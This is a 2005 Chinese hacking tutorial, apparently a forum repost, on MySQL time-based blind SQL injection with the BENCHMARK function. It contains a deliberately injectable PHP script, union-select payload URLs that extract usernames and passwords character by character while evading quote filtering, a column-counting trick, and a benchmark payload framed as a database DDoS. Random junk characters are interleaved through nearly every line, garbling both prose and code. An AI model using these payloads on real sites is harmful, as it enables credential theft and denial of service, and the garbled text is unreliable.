MYSQL中BENCHMARK函数的利用 " ^7 C& |" O) S) p
本文作者:SuperHei" o5 T& q0 i" C( U; e! z
文章性质:原创1 [2 x# d, u/ q* a
发布日期:2005-01-02/ Q$ N, l; D$ p" u& p
完成日期:2004-07-09
* H; }5 a# p0 h第一部& L" C5 X( R; `8 a% d/ Q
2 W0 h- d$ a/ c2 a2 k利用时间推延进行注射---BENCHMARK函数在注射中的利用 R5 y' y! O0 \/ b6 @# K
+ R% C% `/ C* Y
一.前言/思路+ }. u$ m C6 \/ b4 F
* {6 N0 x' K) ]" S2 m0 q% K 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
6 u- l& E) a9 C
* X a/ n8 L! R X- V+ w; R 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。# U/ c3 p5 b, Q0 g! \2 u
1 x& r6 f& ]! \+ J
二.关于BENCHMARK函数 T$ v& a6 U8 y6 U2 P+ T* T) ^
' D6 {, _7 q1 n4 ? Y- @
在MySQL参考手册里可以看到如下描叙: * a: s& y1 w$ B+ v) L
7 \# _5 O0 n% p. K) f: w% D1 s8 ^
4 }( [6 P8 H% r4 m( Q
--------------------------------------------------------------------------------* f/ m0 G4 {8 G3 g3 L( R; N$ M
5 g6 i, M/ l" S; p, a8 {- B3 [BENCHMARK(count,expr)
5 a# R0 A" T; `7 [+ J; \BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
; h* U7 u& v% u+ @mysql> select BENCHMARK(1000000,encode("hello","goodbye")); # Y6 W' ]7 q/ E8 i* \: u0 M
+----------------------------------------------+
0 V, e, w8 s* u5 ~% d) J7 B| BENCHMARK(1000000,encode("hello","goodbye")) |
# ?5 ]' p3 J! y8 N+----------------------------------------------+
2 {" c4 F; U# z8 e| 0 |
, l6 g) n+ N8 X! Z( E+----------------------------------------------+
0 c3 Y: Z+ ?( {. M6 U; q' V- k1 row in set (4.74 sec)
o: d4 n. v' o3 M1 Q# z( K) [" H8 } |: m' {
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。' t* P! ^- A. P% n; Z
5 Z$ \6 S' L# }! ?% u7 W/ r" }8 h. k9 B
--------------------------------------------------------------------------------8 n0 K8 ]) \0 N, p+ Q/ v! A
% J. T+ p9 i8 k+ k2 a# D 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: # _# k: Q4 o6 O- S) j; ]4 `
9 c5 N `- t8 o `, E+ z" Amysql> select md5( 'test' );
" X" L7 P* f" ^, v+----------------------------------+ 6 k2 `+ K6 G0 X y6 `3 \
| md5( 'test' ) | - I; C3 u4 y: h( T
+----------------------------------+
5 d4 e0 U2 X h7 ~ P| 098f6bcd4621d373cade4e832627b4f6 |
% E4 ^! D: l# P+----------------------------------+ $ d- k5 b, g3 r; c4 u9 b5 Q
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
, Z; q$ y+ J1 Q4 K& n# R; I. D/ g% C/ x- N2 @# Z: v0 |. e8 H4 L/ g
mysql> select benchmark( 500000, md5( 'test' ) ); r% B) _& B5 p# m0 X! n
+------------------------------------+ ' Y4 g. u; r) N8 t) Z
| benchmark( 500000, md5( 'test' ) ) | X! X' g7 F6 S2 G6 H8 d
+------------------------------------+
2 D- |, O2 N. }" e9 |5 \6 c' p3 I| 0 | 3 g9 f; F1 _& P, G' L2 G0 z
+------------------------------------+
; X/ k6 b y- x0 x1 O5 I% w1 row in set (6.55 sec) 〈------------执行时间为6.55 sec2 g' R# d, H- t H! o
7 V y- l, @, s% I
v( r. t1 Y6 R! }2 Z
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
* M U/ b, w. F3 p0 c6 Q2 ^5 u0 C: j& u8 ]( B; Z) {
三.具体例子
$ p# V8 L, q+ z: t9 N; z: O5 `1 M/ u7 u* }
首先我们看个简单的php代码:
" x8 U5 H( G+ U, A% p! L+ k' V8 V, D
< ?php
* ^; |" `2 T1 Z: E" u; Y- t$servername = "localhost";
8 j( y; P; r' k" s3 E, Q+ m$dbusername = "root";
1 l8 }: `7 A3 q: r/ K1 a$dbpassword = ""; : w, N+ y% q9 m6 L% S
$dbname = "injection"; _- c: a2 m: D( C5 @% W
( o+ A; J# C$ J4 r( o
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); . Z2 R1 K4 A1 m
3 e8 a$ H& z& Y$sql = "SELECT * FROM article WHERE articleid=$id";
- I4 D4 P1 m; w! O1 C$result = mysql_db_query($dbname,$sql); " `; S% h P- V w
$row = mysql_fetch_array($result); : g. n: g% E2 m$ F( i' ]
) H: \! p, J" u; V9 u$ b: @if (!$row)
+ G& q0 Y% m. B{
1 ^( x8 C- C# v3 F/ {4 h+ Nexit; 6 j x0 I" y% c
}
! q! Y' P: U/ V: P0 y3 z, b?>
, m0 E% g! r9 o/ P' Q / u5 N+ ` i: E6 p
- ?' y% i4 \% O& U# d. Y
数据库injection结构和内容如下:
. j4 T0 l$ G3 D* g3 v4 t, F; I" y1 A
# 数据库 : `injection`
, o& T% h" {! k# 6 X7 E& A- k1 r: W) K
) {% J; H2 V8 M! b
# --------------------------------------------------------
# N3 B3 r% c1 r G5 U
: W) K: c! K- k& l- H# , d5 \" h9 U% w" d; U2 i1 I
# 表的结构 `article`
# p2 P* Q4 O/ N9 ?' h8 J! m. C7 {5 F# 5 a& j; t' a R. R9 c& a* [
2 C5 \; G2 g5 lCREATE TABLE `article` ( 5 x- m9 Z' M' u- j2 f( j2 h
`articleid` int(11) NOT NULL auto_increment,
% z: T/ _# D, R# z0 x`title` varchar(100) NOT NULL default '', ( E% w% ?7 y _6 T! K
`content` text NOT NULL,
* }1 r) k9 \" ]' e* ]0 GPRIMARY KEY (`articleid`)
1 ?8 U" h( B7 j& n) TYPE=MyISAM AUTO_INCREMENT=3 ; 3 k4 \. i4 I" @ b! |
: I& d: F9 u b) R& K2 [+ R9 v+ W6 P
#
# S+ h' e L/ t/ s" ^8 ]1 k4 F+ k0 a# 导出表中的数据 `article`
, R3 K! b9 A G. C4 R: }0 c) y# 0 Y5 s% p3 M. G; G8 d# d# M$ D
( n$ h1 B! q) I" S6 U; i- b
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); + F4 J) z$ z! t4 {1 E- F
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
. b6 Y8 g( A; w @, E! Q2 \, _
# --------------------------------------------------------
3 n8 V: R# k% H' t2 f3 ?, Y0 C9 ?
# ! J; B5 O( j- A6 @* A
# 表的结构 `user`
* I& M2 ?) @7 S#
1 T5 J9 P$ [, d5 ~
; h9 j" v6 K0 zCREATE TABLE `user` (
# |, `8 d4 y3 W4 M1 F`userid` int(11) NOT NULL auto_increment,
4 ]; u; z* j* X0 b3 z1 m- J# n`username` varchar(20) NOT NULL default '', q, j# J( F* B% Q& Q
`password` varchar(20) NOT NULL default '',
( I# s: s2 F5 U# A/ XPRIMARY KEY (`userid`) " j) D* Z" d6 ]5 ^
) TYPE=MyISAM AUTO_INCREMENT=3 ;
; h* N1 V {3 P' F2 K3 O2 ~( K+ w& O, v# b# H: N' l& |. \& W
#
8 p. b& [, a2 T2 o/ [# 导出表中的数据 `user`
# R; a4 c4 H- x#
+ ^8 r7 S6 X- p: @7 |* V, L9 k" a! I- G8 I! f( k( Z/ i" @
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 5 W3 W/ C8 \; E- [: d0 n
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
) i6 @" G% V c* J
7 S3 G& g$ g8 k8 f8 l% t8 k2 Y8 {, X1 y& M2 r
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
1 Y3 t! F6 \' e( y. {# T( M) _
/ R0 N/ O# g6 p" @6 I! ]# x* Lid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
- M3 S0 x7 n) G1 Y # Z8 Y0 D% m9 d9 o. o$ |7 \9 v9 y8 M4 y
, {* J0 Y* h3 B/ i 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
" K r, f r& {7 I8 w
9 u" d" _* _4 a6 @& mhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
, ^" i5 o1 `* y3 T0 `2 F. a }# O
) X9 c5 R+ Z! \8 [$ |
1 B: w* b8 |7 k: P! U6 I% \% a* O 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
8 o; m" I! ^/ ~+ C7 }' @ o& }0 p$ r
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
- [, Z7 t9 d& D/ |4 y+ B8 H0 w
! b( N3 ], F- X! M6 ?第二部
$ }( o! O% E9 h9 u( o9 `/ f6 p2 t) u0 V$ @. F+ P
利用BENCHMARK函数进行ddos攻击 + |) _4 v# @5 y1 h! x
9 F: B8 x' m( S1 [
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:! G7 x5 J Q# }- h
/ G: T4 R W1 k% z j5 ]) Z+ V; Uhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
# Y) c t7 h2 r! C3 }9 U
0 s2 G( D; N1 o% H* S% X6 ? t5 f! C! s% b& g5 n
小结
# C$ E$ a4 c* N2 g- i9 T2 d& x3 T0 I. J( t0 l/ ] {! e2 h* M3 _
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
# b e# D" o3 i# O q. M# X 6 P7 ^$ I0 f! }. w
! R9 b6 V" x- j* e* _: I* w9 y
|